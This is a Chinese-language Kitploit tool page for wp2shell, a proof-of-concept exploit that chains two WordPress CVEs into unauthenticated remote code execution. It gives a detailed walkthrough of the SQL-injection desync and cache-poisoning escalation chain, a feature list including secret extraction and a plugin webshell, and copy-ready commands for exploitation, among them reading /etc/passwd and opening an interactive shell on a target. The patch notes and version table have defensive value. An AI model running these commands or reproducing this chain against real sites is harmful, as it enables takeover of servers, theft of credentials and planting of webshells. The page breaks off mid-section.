Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
wp2shell — PoC for CVE-2026-63030 + CVE-2026-60137,又名 WP2Shell | Kitploit
工具/GitHubGitHub/crypto-cat/wp2shell
漏洞扫描器代码分析漏洞利用Web安全学习与教育
GitHubcrypto-cat/wp2shell

wp2shell

PoC for CVE-2026-63030 + CVE-2026-60137,又名 WP2Shell

查看仓库
3752个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

wp2shell

针对 WordPress 6.9.0–6.9.4 和 7.0.0–7.0.1 的预认证远程代码执行。

将 CVE-2026-63030(批量路由混乱 SQL 注入)与 CVE-2026-60137(自定义器变更集重入)串联,实现未认证管理员创建和操作系统命令执行。无需破解密码。

wp2shell demo

特别感谢 hashkitten 的发现,完整技术分析见 此处。

漏洞

WordPress 的 REST API 批量处理器(serve_batch_request_v1)存在一个差一(off-by-one)索引 bug:当 wp_parse_url() 在子请求路径上失败时,产生的 WP_Error 会被推入 $validation[],但 不会 被推入 $matches[]。这导致两个数组失去同步——后续每个请求都会在错误的处理器下被分发。

攻击者通过将一个精心构造的批量请求嵌套到另一个批量请求中,可以实现:

  1. 将经过某个端点 schema 校验的请求路由到完全不同的端点回调中执行
  2. 通过 author__not_in 注入未经净化的 SQL(字符串→数组的转换跳过了 absint())
  3. 使用 UNION SELECT 用伪造的文章对象污染 WordPress 的对象缓存
  4. 触发变更集自动发布以提升权限,然后以管理员上下文重新进入 REST API

一旦完成设置(发现表前缀和管理员 ID),提权 payload 就会在单个 HTTP 请求中触发——缓存污染、权限提升和用户创建都在服务器端一次往返中完成。

攻击链工作原理

HTTP POST /batch/v1
    │
    ▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                  → parse error, not added to $matches      │
│  [1] POST /wp/v2/posts    → $matches[0] (posts handler)             │
│  [2] POST /batch/v1       → $matches[1] (batch handler)             │
│                                                                     │
│  Desync: request[1] dispatched via $matches[1]                      │
│          POST /wp/v2/posts body interpreted as batch → inner fires  │
│                                                                     │
└──────────────────────────────────────┬──────────────────────────────┘
                                       │
    ┌──────────────────────────────────┘
    ▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                            → parse error (desync)          │
│  [1] GET  /wp/v2/widgets?UNION...   → dispatched by posts handler   │
│          ▲ WP_Query fires UNION, poisons object cache               │
│          ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1  │
│              → changeset published → admin context set              │
│              → nav_menu_item UPDATE → hierarchy Loop 2              │
│                  → parse_request → REST re-entry ─────────────┐     │
│                                                               │     │
│  [2] GET  /wp/v2/posts              (categories handler)      │     │
│  [3] GET  /wp/v2/categories         (users handler)           │     │
│  [4] POST /wp/v2/users  {body}  ◄── re-entry with admin ──────┘     │
│          ▲ desync aligns this with users handler                    │
│          ▲ admin context → user created → die()                     │
│  [5] POST /wp/v2/users  {}          (desync spacer)                 │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

缓存污染(通过 UNION 构造 7 个伪造文章):

  • 内容中包含 [embed] 短代码的触发文章
  • 一个变更集文章(customize_changeset,状态为 future,日期是过去)
  • 外层循环伙伴(parent=changeset,创建 Loop 1)
  • 一个 oEmbed 目标(动态防递归 ID,parent=changeset,内容为空)
  • 一个导航菜单项文章(被污染为 post_type=nav_menu_item,用于 is_nav_menu_item 检查)
  • 一个重入文章(post_type=request,post_status=parse,parent=inner)
  • 内层循环伙伴(parent=re-entry,创建 Loop 2)

执行流程:

  1. UNION 将所有 7 个伪造文章注入对象缓存
  2. 文章处理器渲染触发文章的内容 → [embed] 短代码触发
  3. oEmbed 缓存查找发现一个内容为空的后备文章 → 落入 wp_update_post
  4. wp_update_post 读取缓存的变更集(parent=outer)→ 层级检查检测到 Loop 1
  5. 修复逻辑将状态为 future 的变更集写入数据库 → 自动转换为 publish
  6. _wp_customize_publish_changeset 触发 → wp_set_current_user(admin_id) → 管理员上下文激活
  7. 变更集处理 nav_menu_item[real_id] — 缓存显示 type=nav_menu_item → 走 UPDATE 路径
  8. object_id 解析到一个 post_parent=re-entry 的缓存文章 → 对真实文章执行 wp_update_post
  9. 层级检查(非零 $post_id)检测到 Loop 2(re-entry ↔ inner)
  10. 修复逻辑调用 wp_update_post(re-entry) → 将 type=request、status=parse 写入数据库
  11. wp_transition_post_status 触发 do_action("parse_request") → rest_api_loaded() → serve_request()
  12. REST API 重新进入,以管理员权限重新处理整个批量请求
  13. 尾部的 POST /wp/v2/users 成功 → 创建管理员 → die()

一个防递归 MySQL 会话变量(@_wp2s)确保攻击链恰好触发一次且不会循环。

特性

  • 三种提取模式,带自动检测:UNION(1 请求/值)、基于 EXTRACTVALUE 的报错注入(约 30 字符/请求)、布尔盲注二分搜索(约 7 请求/字符)
  • 完整的预认证 RCE — 无需凭据、无需破解,提权在单次往返中触发
  • 自动发现 — 通过 INFORMATION_SCHEMA 发现表前缀,通过 capabilities meta 发现管理员用户 ID
  • 后渗透 — 带令牌认证的插件 webshell、跟踪 CWD 的交互式 shell、文件读写
  • 清理模式 — --cleanup 在退出时删除创建的用户并移除 webshell
  • 零依赖 — 仅用标准库,单文件,支持 Python 3.8+

安装

git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

无需 pip install,无需 virtualenv。它只有一个文件。

使用方法

检查目标是否存在漏洞

# Passive boolean oracle test
python3 wp2shell.py check http://target.com

# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union

提取数据

# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"

# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users

# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users

完整利用

# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i

# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup

# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i

# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i

认证 shell(使用现有凭据)

python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i

完整 RCE 的要求

check 和 read 命令可在任何受影响的目标上工作。exploit 攻击链有三个额外要求:

RequirementWhyDefault WP?
至少有一篇已发布的文章oEmbed 需要一个本地 URL 来触发嵌入处理是(Hello World)
没有持久化对象缓存必须禁用 Split-the-query,UNION 行才能存活是(默认文件缓存)
REST API 可访问通过 parse_request 重入需要 REST 服务器是
可直接写文件系统插件上传需要 FS_METHOD=direct 或 PHP 拥有 wp-content 目录是(大多数主机)

如果目标使用 Redis 或 Memcached 作为对象缓存,split_the_query 将无视 per_page 被强制开启,UNION 行会在仅获取 ID 的查询中被丢弃。read 命令仍然有效(盲注提取不需要 UNION 在缓存中存活),但 exploit 会失败。

受影响版本

分支受影响版本已修复版本
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2

该补丁为错误情况添加了 $matches[] = $single_request;(修复了差一错误),并在 serve_request() 中添加了重入防护。

架构

wp2shell.py (single file, ~1650 lines)
├── Client          HTTP transport with batch URL negotiation
├── Desync          Nested batch payload construction
├── BlindExtractor  Boolean binary search (universal)
├── UnionExtractor  In-band via forged post_title (fastest)
├── ErrorExtractor  EXTRACTVALUE-based (intermediate)
├── PoisonGraph     Hierarchy loop structure for cache poisoning
├── Exploiter       Chain orchestration (seed → extract → escalate)
└── AdminSession    Authenticated session, webshell, cleanup

技术细节

为什么选择 /wp/v2/widgets 作为源路由?

Widgets 控制器没有在其端点 schema 中注册 per_page、orderby 或 author_exclude。这些参数会无校验地通过(未知参数被 schema 校验器忽略)。当反同步(desync)通过 Posts 控制器分发该请求时,这些原始值会直接流入 WP_Query。

为什么 per_page=500?

下载工具